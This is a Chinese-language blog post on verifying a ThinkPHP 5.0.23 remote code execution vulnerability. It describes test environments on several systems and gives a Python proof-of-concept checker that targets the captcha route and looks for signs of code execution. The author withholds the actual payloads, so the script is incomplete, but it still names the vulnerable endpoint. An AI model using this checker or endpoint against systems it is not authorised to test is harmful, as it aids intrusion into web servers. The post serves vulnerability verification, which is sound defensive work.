1. 程式人生 > >ThinkPHP-5.0.23新的RCE漏洞測試和POC

ThinkPHP-5.0.23新的RCE漏洞測試和POC

TP5新RCE漏洞



昨天又是週五,討厭週五曝漏洞,還得又得加班,算了,還是先驗證一波。新的TP5RCE,據說發現者因為上次的RCE,於是又審計了程式碼,結果發現的。TP5也成了萬人輪啊。

測試



環境搭建


  • windows下phpstudy,然後下載tp5.0.23到相應的www目錄下
  • linux,安裝啟動apache和php,下載tp5.0.23到相應www目錄下
  • mac(本機) 啟動apache, 下載tp5.0.23到/library/Webserver/Documents下

環境測試


漏洞驗證

Payload在此不公開,圈內的人大家都在微信群裡看到很多了




備註一個測試遇到的問題:在windows下phpstudy使用assert函式成功,但是在本機mac下不行,懷疑與php版本有關,win下是php5的,mac下是php7的。

漏洞poc


# -*- coding:utf-8 -*-
"""
ThinkPHP-5.0.23 RCE POC
Author: [email protected]
"""


# import libs,modules,files
import sys
import requests


# global vars & settings
headers = {
    "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:45.0) Gecko/20100101 Firefox/45.0",
}


# payload
...


#  main function
if __name__ == "__main__":
    url = "%s/public/index.php?s=captcha"
    url = url%str(sys.argv[1])
    response1 = requests.post(url,headers=headers,data=data1)
    response2 = requests.post(url,headers=headers,data=data2)
    response3 = requests.post(url,headers=headers,data=data3)
    if (response1.content.find("Configuration File (php.ini) Path") >= 0) or (response2.content.find("index.php") >= 0) or (response3.content.find("index.php") >= 0):
        print "YES,It's 
[email protected]
!" else: print "No,It's [email protected]!"